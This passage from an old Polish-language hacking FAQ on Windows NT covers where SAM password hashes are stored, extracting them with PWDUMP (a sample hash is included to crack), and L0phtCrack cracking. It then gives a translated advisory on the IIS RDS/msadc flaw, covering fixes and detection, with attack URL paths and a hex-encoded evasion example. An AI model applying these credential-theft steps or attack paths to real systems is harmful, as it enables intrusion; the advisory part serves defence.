nie jak to bylo w grupie roboczej na komputerze, z ktorego sie loguje, tylko na
Serwerze PDC! Jest to bardzo duza zaleta i duza wada poniewaz kazdy kto ma konto
w domenie moze zalogowac sie na kazdej stacji roboczej, ktora jest do nie
polaczona. Wada to oczywiscie ulatwiona mozliwosc dostepu do kazdego komputera.
W przypadku wykradniecia hasel z serwera PDC mam dostep do calej sieci czyli
wszystkich komputerow!
  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2d    Co to jest Service Pack ?

Service Pack (Pakiet Serwisowy) to zbior poprawek systemowych zebranych w jednym
wielkim archiwum. Jego zadaniem jest poprawienie wszystkich tych wad
systemowych, ktore zostaly zaobserwowane przez uzytkownikow oraz problemow,
ktore wynikaja podczas dzialania i jego uzytkownania. Service Pack moze
porpawiac wpisy w rejestrze, pliki informacyjne, biblioteki, cale programy czy
tez dodac nowe. Absolutnym minimum jest zainstalowanie SP 3, wlasnie ten zmienia
wieksza czesc systemu aktualizujac go w sposob minimalny dla dosc bezpiecznego
i poprawnego dzialania programow i samego systemu. Pomimo to, ze Service Pack
powinien ulepszyc system i sprawic by byl trudniejszym celem dla hackera to nie
zawsze trzeba ufac nowym poprawkom. Pomimo to, ze SP sa bardzo dokladnie
sprawdzane zanim zostana ogloszone i rozdane dla publicznego dostepu, bylo wiele
takich sytuacji gdzie starszy SP okazal sie lepszy od najnowszgo. Dobrym
przykladem jest SP6, ktory zawieral blad w obsludze TCP/IP i kilka tygodni po
jego wypuszczeniu pojawil sie nastepny SP6a, ktory poprawial poprzedniego.
Jezeli system dziala poprawnie i zainstalowane sa w nim najnowsze Hot Fix'y, nie
nalezy zaraz rzucac sie na najnowszy SP jak na swieze buleczki, nalezy podejsc
do sprawy z dystansem, przeczytac opis poprawek i jezeli zainstalowanie
najnowszego SP jest niezbedne do poprawnego dzialania systemu tylko wtedy go
instalowac.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2e    Co to jest Hot Fix ?

Hot Fix to mala poprawka systemowa odnoszaca sie do jednego specyficznego
problemu. Wlasnie Hot Fix jest srodkiem budulcowym przyszlych Service Pack'ow.
Czesto sa po prostu jego mala czescia skladowa. Zanim powstanie SP, robione sa
wlasnie takie male poprawki, ktore zazwyczaj sa wypuszczane po ogloszeniu
jakiegos bledu przez hackera, ktory owy blad systemowy wykorzystal. Zarowno
Administratorzy jak i Hackerzy powinni sledzic nowe bledy i Hot Fixy, ktore w
przypadku Hackera: "wykorzystac", a Administratora: "zabezpieczyc".

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.2f    Co to jest zabezpieczenie C2

Zabezpieczenie C2 to norma ustalona przez NCSC (National Computer Security
Center - Panstwowe Centrum Ochrony Komputerow). NT zostal uznany jako system
zgodny z ta norma. Poziom ochrony C2 jest oparty na wymaganiach zawartych w
kryteriach oceny U.S. Department of Defense Trusted Computer System, czyli
slynnej "orange book", ktora jest jedna z kolekcji teczowego zbioru ksiag. Caly
zakres kategorii bezpieczenstwa zamkniety jest w przedziale od D do A2. Kazda z
poszczegolnych kategorii zapewnia:

 D  - Minimalna ochrone.
 C  - Dyskretna ochrona sekcji.
 C1 - Dyskretny system zabezpieczen.
 C2 - Kontrolowany dostep.
 B  - Autorytatywna ochrone sekcji.
 B1 - Okreslony system zabezpieczen.
 B2 - Strukturalna ochrone
 B3 - Zabezpieczone domeny.
 A  - Zweryfikowana ochrone sekcji.
 A1 - Zweryfikowany system zabezpieczen.
 A2 - "Komputer zakopany 30 metrow pod ziemia nie podlaczony do niczego"

System, ktory zgodny jest z norma C2 powinien miec nastpujace cechy:
 - Ochrona obiektow na podstawie uzytkownikow i grup
 - Haslo jest chronione przez zabezpieczona baze danych oraz nazwy uzytkonikow
   musza byc unikalne.
 - Kontrola zdazen zwiazanych z systemem zabezpieczen.
 - Autoryzacja dostepu moze byc wykonana tylko i wylacznie przez autoryzowanego
   uzytkownika.
 - Kazdy program powinien miec przydzielona alokacje pamieci tak by inny nie
   wchodzil na zwolniony zasob.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3    HASLA W NT

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3a    Gdzie ukryte sa hasla w NT?

Hasla przechowywane sa w \\WINNT\SYSTEM32\CONFIG\SAM na dysku gdzie
zainstalowany jest NT. Jest to archiwum w ktorym zakodowane sa wszystkie hasla
i loginy uzytkownikow. Dostep do tego pliku jest zabroniony ze wzgedu na
bezustanne odwolanie systemow, ktore korzysta z pliku. W ten sposob plik nie
daje sie odczytac. Mozliwe jest rowniez znalezienie pliku SAM.SAV, ktory jest
kopia SAM, do tego pliku mamy dostep i daje sie on przegladnac.

Dodatkowo mozliwa do znalezienia w systemie jest kopia plikow SAM, ktora
wykonywana jest automatycznie w czasie instalacji systemu. Plik ten znajduje sie
\\WINNT\REPAIR nie jest to jednak to samo co plik normalny SAM poniewaz zaraz
po instalacji dostepne sa jedynie dwa konta: Administrator i Guest. Jesli
Administrator nie zmienil od tamtego czasu swojego hasla to powinno wystarczyc.

Jesli podczas instalacji lub pozniej wykonana zostala tzw. "dyskietka naprawcza"
to i na niej znajduja sie hasla ukryte w pliku A:\ERD\SAM._ .

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3b    Jak moge zlamac/odkodowac haslo NT

Aby zlamac haslo NT bedziecie potrzebowac nazwe uzytkownika i zakodowana czesc
hasla NT i Lan Managera. Mozna je wydobyc z pliku SAM uzywajac programu PWDUMP.
Do poprawnego, a raczej jego efektownego dzialania musicie byc zalogowani jako
Administrator, w innym przypadku nie uda wam sie wydobyc hasel uzywajac tego
programu.
Przykladowe haslo:
majdom$:"":"":9B4C08B20AB44420F05CBF3DE3450C16:755A5197E10C5AA75EC2681F1DEA844B

majdom - nazwa uzytkownika (login)
$- oznacza, ze jest to konto wbudowane w system (Administrator lub Guest)
9B4C08B20AB44420F05CBF3DE3450C16 - Zakodowana czesc hasla dla Lan Manager'a
(tzw Lan Manager Hash)
755A5197E10C5AA75EC2681F1DEA844B - Zakodowana czesc hasla dla NT (tzw NT Hash)

Jesli posiadasz juz wydobyte informacje powinienes zaopatrzyc sie w program
lamiacy hasla NT i Lan Manager metoda slownikowa lub brute force. Polecam
program L0phtCrack, ktory potrafi lamac hasla obiema metodami, dodatkowo
charakteryzuje sie bardza duza szybkoscia, potrafi przechwytywac hasla z SMB
oraz wydobyc hasla z rejestru.

BTW Najpierw sprobujcie zlamac przykladowe haslo, ktore podalem wyzej. Jest
oczywiste (zaczyna sie na U.......... :o)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3c    Co to jest lamanie "brute force"?

"Brute force" w bardzo wolnym tlumaczeniu, to:
 - brute (bydlecy :o)
 - force (sila, moc, przemoc)
I jest w tym nawet troche prawdy bo program, ktory lamie hasla ta metoda, stara
sie odgadnac haslo sprawdzajac pokoleji kazdy znak i jego kombinacje np: pisalny
(alfabet, cyfry, znaki funkcyjne, itd), niepisalny (czyli tzw krzaczki, ktore
mozemy wydobyc za pomoca klawisza ALT+liczby np: ALT+1532=). Metoda ta jest
czasochlonna, co sprawia, ze posiadanie mocnego procesora moze okazac sie
nilada zbawieniem. Czas lamania hasla metoda brute force zalezny jest od
zlozonoscia hasla, dlugosci (czy jest mniejsze od 8), z jakich znakow sie
sklada. Mowiac w skrocie: im wieksze, zawierajace nietypowe znaki tym
trudniejsze i tym samym czasochlonniejsze bedzie jego zlamanie.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3d    Co to jest lamanie hasla z pomoca slownika?

W Skrocie... lamanie za pomoca slownika polega na odczytaniu listy slow,
zakodowaniu ich i sprawdzaniu pokolei przyrownujac je do zrodla. Program, ktory
kozysta z tej metody (np.: wspomniany juz L0phtCrack) odczytuje plik hasel,
nastepnie odczytuje liste slow w pliku, ktory podajemy jako slownik, koduje
slowa uzywajac tego samego algorytmu co NT i sprawdza czy slowo zakodowane z
naszego slownika pasuje do zakodowanej wersji hasla. W przypadku lamania
slownikowego polecam program Crack NT, ze wzgledu na obsluge filtru mutacji
slow. Dzieki takiemu zastosowaniu ow filter dodatkowo sprawdza mutacje slowa
np.: "underground" sprawdza tez "?3RgR?" i inne, tak by wydobyc wszystkie
kombinacje ze slowa.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.3e    Jaka z wymienionych metod jest najlepsza?

W zaleznosci od tego jaki komputer masz lub ile masz casu na zlamanie hasla.
Lamanie metoda Brute Force jest pewne, za to strasznie czasochlonne. Lamanie
metoda slownikowa trwa krotko, poniewaz mamy ograniczona ilosc slow. tak wiec
jesli zalezy ci na szybkim zlamaniu hasla, uzyj metody slownikowej. Ta jednak
jest bezuzyteczna jesli nie posiadasz odpowiedniego slownika. Jesli natomiast
nie zalezy ci na czasie i masz 2 komputery to odpal brute force na jednym z
nich i czekaj na wynik. Najlepiej jest najpierw uzyc metody slownikowej a gdy
nie ma zadnego wyniku przystapic do metody brute force.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4     RDS

        Advisory RFP9907 rfp.labs

        Ty, twoje serwery, RDS i tysiace "dzieciakow ze skryptami"
        ...czyli:  jak zachowac swoj website...
        (Obrona przed atakami przy uzyciu RDS)

        rain forest puppy / rfp@wiretrip.net ---
        Translated by GrafZer0


Nie masz czasu zeby to czytac?  W takim razie wszystko co musisz zrobic to
skasowanie nastepujacego pliku:

        ?:\Program Files\Common Files\System\Msadc\msadcs.dll

Szybkie i malo eleganckie zablokowanie RDS'a.  (Jesli jednak potrzebujesz RDS
to lepiej doczytaj do konca...)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4a    Problem

        .gov, .mil, a nawet microsoft.com wpadly ostatnio w lapy "podmieniaczy
stronek".  Wychodzi na to, ze to wszystko z powodu RDS'a. Hmm... jasne,
ze IIS 4.0 jest niezle dziurawy w swojej domyslnej konfiguracji, a w dodatku
Microsoft wypuscil nie jedna, nie dwie, ale *trzy* rozne poprawki, oraz
kilkakrotnie zmienial swoje zalecenia odnosnie problemu. A problem nadal
istnieje...

        Musimy sie wiec dowiedziec o co w tym chodzi. Krazy masa spekulacji
odnosnie tego w jaki sposob zalatac ta dziure. Poniewaz to ja napisalem ten
exploit i spedzilem nad nim troche czasu chcialbym sie podzielic moimi
odkryciami, aby pomoc innym zrozumiec problem.

        Problem sprowadza sie do tego, ze Jet 3.5 pozwala na wywolanie funkcji
VBA shell(), ktora daje mozliwosc wykonywania komend interpretera polecen
(zostalo to opisane w RFP9901: NT ODBC remote vulnerabilities,dostepnym na:

        http://www.wiretrip.net/rfp/p/doc.asp?id=3&iface=2

). IIS 4.0, domyslnie, instaluje MDAC 1.5.  A ten zawiera RDS, ktory pozwala na
zdalny dostep do komponentow ODBC poprzez web, za pomoca jednej konkretnej
biblioteki DLL: /msadc/msadcs.dll (to zostalo udokumentowane w RFP9902:
RDS/IIS vulnerability and exploit, dostepnym na:

        http://www.wiretrip.net/rfp/p/doc.asp?id=1&iface=2

).  Wiec jak widzicie problem jest dwuelementowy. Jest tez dodatkowy trzeci
element, gdzie przykladowe strony, zainstalowane przez rozne zestawy typu RDS
SDK, zawieraja przykladowy komponent o nazwie VbBusObj, ktory pozwala na
ominiecie niektrorych latek zalecanych przez Microsoft (to rowniez jest opisane
w RFP9902).

        Zajmiemy sie wiec wszystkimi tymi elementami.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4b    Mozliwe rozwiazania

Problem jest z tym, ze istnieje zbyt wiele mozliwych rozwiazan oraz
wiele roznych kombinacji ich zastosowania.  Postaram sie ich opisac jak
najwiecej. Dla prostoty umiescilem rowniez wszystkie istotne binaria  (tylko
i386) na moich stronach, tak na wypadek jakbyscie nie mogli sie dostac na
www.microsoft.com, albo cos w tym stylu.

-Rozwiazanie #1: przenies cmd.exe (rozwiazanie zaproponowane przez ULG)
 http://www.aviary-mag.com/News/Powerful_Exploit/ULG_Fix/ulg_fix.html

Pochwalam ULG za chec pomocy, jednak to rozwiazanie ma jeden problem. Prawda
jest ze mdac.pl ma wkodowane uzycie cmd.exe (albo command.com). Chcialbym
jednak aby bylo jasne, ze:

              CMD.EXE NIE JEST KONIECZNY ABY EXPLOIT ZADZIALAL

Uzylem go tylko ze wzgledu na kompatybilnosc. Jesli mi nie wierzysz sprawdz sam.
Popraw mdac.pl tak, aby nie wysylal lancucha 'cmd /c'. Nadal mozesz podac
jakikolwiek program do wykonania (na przyklad 'rdisk'). Pamietaj jednak, ze
skoro nie uzywasz cmd.exe, to nie mozesz rowniez uzywac komend takich jak
'copy', ani mozliwosci takich jak np. przekierowanie strumienia
( ' > file.out'), gdyz sa one dostarczane wlasnie przez cmd.exe.

Zauwaz rowniez, ze przeniesienie cmd.exe/command.com jest zaledwie
zabezpieczeniem opartym na utrudnieniu. Jesli haker ustali gdzie go umiesciles
wtedy nadal moze go uzyc. A ustawienie praw do niego w taki sposob, ze aplikacje
dzialajace w kontekscie Systemu nie maja do niego dostepu moze spowodowac, ze
niektore z nich przestana dzialac. Zachowalbym daleko posunieta ostroznosc co
do uzycia tego rozwiazania (przyjmujac, ze dostepne sa inne mozliwosci uzylbym
ich wzamian).

-Rozwiazanie #2: uaktualnij MDAC z wersji 1.5 do 2.0

MDAC 2.0 zamienia Jet 3.5 na Jet 3.52. Niestety jest on wciaz podatny na atak
przy uzyciu funkcji VBA shell() (ktora jest istota exploit'a), oraz domyslnie
nie blokuje RDS. Sadze nawet, ze ponownie zainstaluje RDS jesli go wczesniej
usunales. Rzeczy warte zauwazenia:

* domyslna Jet engine stanie sie 3.52 (wciaz podatna)
* umozliwia ustalenie domyslnego handler'a (aby uniemozliwic anonimowy
  dostep do RDS)
* tworzy Microsoft.Jet.OLEDB.3.51* providers

Tak wiec to rozwiazanie, w swojej domyslnej formie, nie jest dobre. Musisz
przynajmniej odblokowac uzywanie handler'a. Pozwala na to klucz:

        HKEY_LOCAL_MACHINE\Software\Microsoft\DataFactory\HandlerInfo\

Keyname: HandlerRequired
Value:   DWORD:1 (bezpieczne) or 0 (niebezpieczne)

Zalecane jest abys ustawil ta wartosc na 1. Mozna to rowniez osiagnac przez
uzycie latki 'handsafe.exe/.reg' dostarczonej przez Microsoft. Mozesz
sciagnac tan plik z moich stron:

        http://www.wiretrip.net/rfp/bins/msadc/handsafe.exe

Po uruchomieniu program ten stworzy kolejny plik pod nazwa handsafe.rem. Zmien
jego nazwe na handsafe.reg, a potem zaimportuj go do rejestru (zmieni to
wartosc wspomnianego klucza na 1).

Jednak choc uchronisz sie przed zdalnymi atakami poprzez RDS attack nadal
bedziesz podatny na wszelkie inne formy ataku z uzyciem ODBC, jak na przyklad
trojany w plikach Excel'a, Word'a i Access'a, inne "rozrabiajace" aplikacje,
itp. Tak wiec to rozwiazanie powinno zostac uznane za nie wystarczajace.

Stworzenie provider'ow Microsoft.Jet.OLEDB.3.51* jest istotne, i wroce jeszcze
do niego.


-Rozwiazanie #3: uaktualnij MDAC 1.5 do 2.1 (ktorakolwiek podwersja)

MDAC 2.1 zamienia Jet 3.5 na Jet 4.0, ktory nie jest podatny. Jednakze sa pewne
klopoty z kompatybilnoscia, ze wzgledu na roznice pomiedzy wersjami 3.5 i 4.0.
Wiele osob nie zdecydowalo sie na uaktualnienie wlasnie z ich powodu. Ze nie
wspomne o problemach ze stabilnoscia wczesniejszych wersjach serii 2.1. Sprawy
istotne:

* domyslna Jet engine staje sie 4.0 (bezpieczna)
* umozliwia ustalenie domyslnego handler'a (aby uniemozliwic anonimowy
  dostep do RDS)

Jednakze domyslny handler nie jest domyslnie uruchomiony. Musisz nadal ustawic
wartosc wspomnianego wyzej klucza (HandlerRequired) na 1, albo przy uzyciu
regedit albo latki handsafe.exe/.reg.


-Rozwiazanie #4: uaktualnij MDAC 1.5 do 2.0 do 2.1

Coz, jesli jestes grzecznym adminem pewnie jestes na biezaco ze swoimi
instalacjami, uaktualniajac je kedy tylko masz mozliwosc. Jesli tak, to z
pewnoscia nie oparles sie pokusie przejscia calej sciezki upgrade'ow. W takim
przypadku istnieja te same problemy co przy bezposrednim przejsciu na wersje 2.1
(wspomniane wczesniej) - wciaz musisz uaktywnic klucz 'HandlerRequired'.
Pamietaj takze, ze chociaz 2.1 uzywa Jet 4.0 (a wiec wersji nie podatnej na
exploita) jako domyslnej, to ze wzgledu na to ze przeszedles po drodze przez
instalacje 2.0, masz zainstalowane Microsoft.Jet.OLEDB.3.51 providers. Oznacza
to, ze aplikacje (w tym takze RDS) maja mozliwosc wywolania starej wersji
Jet 3.51 engine!

Powinienes zablokowac te stare sterowniki. Jedna z metod jest usuniecie
nastepujacych kluczy w rejestrze:

        HKEY_CLASSES_ROOT\Microsoft.Jet.OLEDB.3.51
        HKEY_CLASSES_ROOT\Microsoft.Jet.OLEDB.3.51Errors

Wtedy jednak stajesz przed problemami z kompatybilnoscia w wersji 4.0. Nie jest
to wiec najlepsze rozwiazanie.

-Rozwiazanie #5: zainstaluj JetCopkg.exe (MS99-030)

JetCopkg.exe jest zmodyfikowana wersja Jet 3.5, ktora ma dodatkowa funkcje
bezpieczenstwa zapobiegajaca atakom, okreslana jako tryb 'sadbox' (piaskownica).
Ta funkcja jest kontolowana przez nastepujacy klucz rejestru:

        HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\3.5\engines\SandboxMode

Mozliwe wartosci:
0       zablokowane
1       odblokuj dla Access'a, zablokuj dla calej reszty
2       zablokuj dla Access'a, odblokuj dla calej reszty (domyslna)
3       odblokuj dla wszystkiego

(Uwaga 1: 'xxx dla Access'a oznacza przy uzyciu programu Microsoft Access)

(Uwaga 2: wszystko jest wytlumaczone w:
http://support.microsoft.com/support/kb/articles/q239/1/04.asp)

(Uwaga 3: domyslne prawa do tego klucza nie zapewniaja bezpieczenstwa!
Powinienes zmienic dostep do tego klucza przez 'Authenticated Users' na
'Read Only'. Dla wielu przykladow, w jaki sposob domyslne prawa do tego klucza
moga spowodowac problemy, zajrzyj do swietnego maila od Eric'a Shultze, ktory
znajdziesz na moich stronach:

        http://www.wiretrip.net/rfp/p/doc.asp?id=11&iface=2
)

Wartosci klucza 2 lub 3 chronia przed exploit'em.  Wiec, IMHO

                TO JEST WLASCIWE, ZALECANE ROZWIAZANIE

Poniewaz jest to wciaz ten sam Jet 3.5 engine, nie bedziesz mial problemow
z kompatybilnoscia. Jednakze to nie blokuje RDS'a jako takiego. Chociaz nie
mozna wykorzystac exploit'u, nadal jest mozliwy zdalny anonimowy dostep do
twoich zrodel danych. Co oznacza, ze ktos moze sie pobawic twoimi danymi, co
nadal nie jest dobre. Musisz cos z tym zrobic. Sugeruje albo zablokowanie
RDS (patrz nizej), albo uaktualienie do wersji MDAC 2.0 (jednak najpierw
MDAC 2.0, a potem JetCopkg). Dzieki temu bedziesz mial mozliwosc ustawienia
handler'a i zablokowania anonimowego dostepu.

-Rozwiazanie #6: usun/zablokuj RDS

To bedzie twoj najlepszy wybor jesli uzyjesz jednoczesnie JetCopkg (wspomniany
wczesniej). jesli nie mozesz zainstalowac pakietow modyfikujacych system
(z powodu lockdown'u, etc), mozesz przynajmniej odciac mozliwosc potencjalnego
ataku poprzez zablokowanie RDS'u. Mozesz to zrobic w bardzo niedelikatny sposob
usuwajac taki plik:

        ?:\Program Files\Common Files\System\Msadc\msadcs.dll

To jest .DLL, ktory odpowiada za obsluge RDS. Jednak bylo by duzo lepiej gdybys
poswiecil chwile i wyczyscil go jak trzeba. A wiec:

* Usun katalog wirtualny /msadc z IIS. Aby to zrobic otworz Microsoft
        Management Console/Internet Service Manager.
        Potem:
                * Wejdz w 'Internet Information Server'
                * Zaznacz odpowiedni system
                * Zaznacz 'Default Web Site'
                * Zaznacz 'msadc'
                * Albo walnij w 'Del' albo kliknij ikone 'Delete'
                * Jestes pewien?  Tak.

* Usun nastepujacy klucz rejestru:

        HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W3SVC
                \Parameters\ADCLaunch

        (Uwaga: linia jest przeniesiona dla przejrzystosci)

* Skasuj wszystkie pliki i podkatalogi w:

        ?:\Program Files\Common Files\System\Msadc

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4c    Inne sytuacje


-Sytuacja #1: Potrzebuje RDS'a!

Oh... Przykro mi to slyszec. Ale w porzadku - to jest do zrobienia. Musisz
przynajmniej uaktualnic do MDAC 2.0. Jesli musisz byc pewien wstecznej
kompatybilnosci, wtedy MDAC 2.0 wraz z JetCopkg powinno rozwiazac sprawe, jesli
nie - instaluj MDAC 2.1.

Upewnij sie ze aktywowales 'HandlerRequired' (wytlumaczone powyzej). Upewnij sie
rowniez, ze usunales przyklady RDS jesli byly zainstalowane (patrz wyzej).
Microsoft zaleca rowniez zablokowanie anonimowego dostepu do katalogu /msadc
spod MMC. Na koncu musisz zaimplementowac domyslny handler. Informacje jak to
zrobic sa dostepne z:

        http://www.microsoft.com/Data/ado/rds/custhand.htm



-Sytuacja #2: Zabezpieczylem wszystko, oprocz przykladowych skryptow...

                             BARDZO WAZNE

Uzycie 'custom handlers' jest jedynym sposobem na zablokowanie anonimowego
dostepu bez calkowitego blokowania RDS'a. Jesli jednak przyklady skryptow
RDS sa zainstalowane (znajdziesz je w:

        ?:\Program Files\Common Files\System\Msadc\Samples

) wtedy wraz z nimi dostarczony jest objekt (VbBusObj), ktory moze byc uzyty
to ominiecia tego zabezpieczenia. Zreszta nie ma najmniejszego powodu, dla
ktorego te przyklady mialyby sie znalezc na produkcyjnym servwerze, i powinny
zostac usuniete. Mozna to osiagnac w dwoch krokach:

* Usun nastepujacy podkatalog (WSZYSTKO w nim):

        ?:\Progam Files\Comman Files\System\Msadc\Samples

* Usun nastepujacy klucz z rejestru:

        HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W3SVC
                \Parameters\ADCLaunch\VbBusObj.VbBusObjCls

To usunie objekt VbBusObj i uniemozliwi ominiecie twoich 'custom handlers'.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4d    Wykrywanie ataku przy uzyciu msadc.pl

Wykrycie aktywnosci msadc.pl w wersjach 1 i 2 nie jest wcale takie trudne.
Zakladam jednak uzycie exploit'a w takiej formie w jakiej zostal on napisany
- istnieje mozliwosc takiej jego modyfikacji, ze jego wykrycie stanie sie duzo
trudniejsze.

Po pierwsze skrypt wykona zadanie GET do /msadc/msadcs.dll na docelowym serwerze.
Jesli plik istnieje, bedzie kontynuowal, w przeciwnym razie wyswietli komunikat
o bledzie i zakonczy wykonywanie. Zwykle to poczatkowe zadanie GET powinno sie
znalezc w logach twojego serwera. Zauwaz, ze doswiadczeni uzytkownicy moga
zmienic to zadanie na HEAD lub POST albo w inny sposob skomplikowac adres URL
(na przyklad poprzez kodowanie go na liczbach szesnastkowych). Ale nadal bedzie
ono logowane. Kluczem jest zwrocenie uwagi na msadcs.dll bez parametrow (zaraz
to wyjasnie)... oznacza to ze ktos sie rozglada, a nie uzywa (jeszcze). Tam
gdzie w gre wchodzi RDS, nikt nigdy nie powinien sie po prostu 'rozgladac'.
Uprawnieni uzytkownicy po prostu go uzyja. Wiec wywolanie msadcs.dll bez
parametrow powinno byc uznane za podejrzane.

Jesli msadcs.dll istnieje (co jest ustalone poprzez uzyskanie okreslonej
odpowiedzi) wtedy skrypt pyta uzytkownika jaka komende ma wykonac. Zwykle
msadc.pl poprzedzi ja 'cmd /c' lub 'command /c' dla kompatybilnosci. Oznacza to,
ze jest on zalezny od cmd.exe lub command.com. Jakkolwiek, znow, doswiadczeni
uzytkownicy moga zmodyfikowac skrypt tak, ze nie bedzie on potrzebowal zadnego
z tych plikow.

Nastepnie skrypt zaczyna wykonywac wlasciwe zapytanie przez RDS.
Robi to uzywajac zadan POST do jednego z nastepujacych adresow URL:

  Normalne query:
        /msadc/msadcs.dll/ActiveDataFactory.Query

  VbBusObj aby ominac 'custom handlers':
        /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset

  Query VbBusObj o NetBIOS'owa nazwe komputera:
        /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName

Jesli uzywasz RDS w uprawnionych celach wtedy ActiveDataFactory.Query URL jest
normalny. Jednak nikt nie powinien uzywac VbBusObj, wiec pozostale dwa URL'e
powinny zostac natychmiast rozpoznane jako atak. Pamietaj, ze uzycie grep'a na
twoich logach w poszukiwaniu 'VbBusObj' nie wystarczy - co lepsi moga uzyc
liczb szesnastkowych do zakodowania URL'a w taka, na przyklad, forme:

        /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset

        (to jest tylko jeden przyklad)

Zauwaz w jaki sposob teraz wyglada ten ciag. Dlatego wlasnie poleganie tylko na
'grep' w poszukiwaniu problemow moze nie wystarczyc.

W tym miejscu chcialbym rowniez wskazac dwie inne sprawy:

* normalnie skrypt msadc.pl uzywa 'ACTIVEDATA' jako User-Agent'a. To moze
sluzyc jako slad - jednak normalnie RDS rowniez uzywa tego samego znacznika,
rozroznienie pomiedzy atakiem a normalnym ruchem moze wiec nie byc mozliwe.

* normalnie skrypt msadc.pl uzywa '!ADM!ROX!YOUR!WORLD!' jako lancucha
oddzielajacego MIME. Chociaz nie jest on nigdzie logowany, niektore IDS'y
(np. Dragon, www.dsecuritywizards.com) uzywaja go do wykrywania atakow.


Zwykle skrypt probuje uzyc lokalnych plikow .MDB znalezionych na serwerze. Jesli
jakis znajdzie, wtedy stworzy tablice 'AZZ' w tym pliku. Wersja 2  msadc.pl
pozwala jednak uzyc innego rodzaju query, ktory nie stworzy takiej tablicy i nie
musi nawet skorzystac z lokalnego pliku .MDB (dzieki uzyciu sciezek UNC).


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4e    Podsumowanie


        No tak... nastepna nocka bez snu, ktora spedzam wstukujac advisory.
Naprawde musze z tym skonczyc. Czego ja dla was nie robie. ;)

Najlepszym znakiem, ze zostales zaatakowany przy uzyciu RDS jest to, ze na
twoich stronach widzisz jakies linie pochodzace z mojej strony na:

        http://www.wiretrip.net/rfp/

To naprawde nie jest takie trudne. W ostatecznosci skasuj jeden plik i juz
jestes w miare bezpieczny. Wtedy mozesz spac spokojnie, bez obawy ze staniesz
sie kolejnym eksponatem na Attrition.

Bierz sie do roboty i zalataj,

.rain.forest.puppy.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  2.4f    Odnosniki do zasobow


- Office 97/Jet 3.5 update binary (i386)
  http://www.wiretrip.net/rfp/bins/msadc/jetcopkg.exe
  http://officeupdate.microsoft.com/isapi/gooffupd.asp
        ?TARGET=/downloaditems/JetCopkg.exe

- Microsoft Universal Data Access homepage
  http://www.microsoft.com/data/

- MDAC 2.1.2.4202.3 (GA) (aka MDAC 2.1 sp2) update (i386)
  http://www.wiretrip.net/rfp/bins/msadc/mdac_typ.exe
  http://www.microsoft.com/data/download_21242023.htm

- MDAC 2.1.1.3711.11 (GA) (aka MDAC 2.1 sp1) hotfix
  http://www.microsoft.com/data/download/jetODBC.exe

- MDAC 2.1 release manifest
  http://www.microsoft.com/data/MDAC21info/MDAC21sp2manifest.htm

- MDAC 2.1 installation FAQ
  http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm

- Security Implications of RDS 1.5, IIS 3.0 or 4.0, and ODBC
  http://support.microsoft.com/support/kb/articles/q184/3/75.asp

- Unauthorized ODBC Data Access with IIS and RDS (MS99-004)
  http://www.microsoft.com/security/bulletins/ms98-004.asp

- Re-release of MS99-004 (MS99-025)
  http://www.microsoft.com/security/bulletins/ms99-025.asp

- MS99-025 FAQ (best explanation of problem by Microsoft)
  http://www.microsoft.com/security/bulletins/MS99-025faq.asp

- MS99-30: Patch available for Office ODBC Vulnerabilities
  http://www.microsoft.com/security/bulletins/ms99-030.asp

- Jet Expression Can Execute Unsafe VBA Functions
  http://support.microsoft.com/support/kb/articles/q239/1/04.asp

- Implementing Custom Handlers in RDS 2.0
  http://www.microsoft.com/Data/ado/rds/custhand.htm

- Handsafe registry patch (enables handlers)
  http://www.wiretrip.net/rfp/bins/msadc/handsafe.exe
  http://www.microsoft.com/security/bulletins/handsafe.exe

- RFP9901: NT ODBC remote compromise
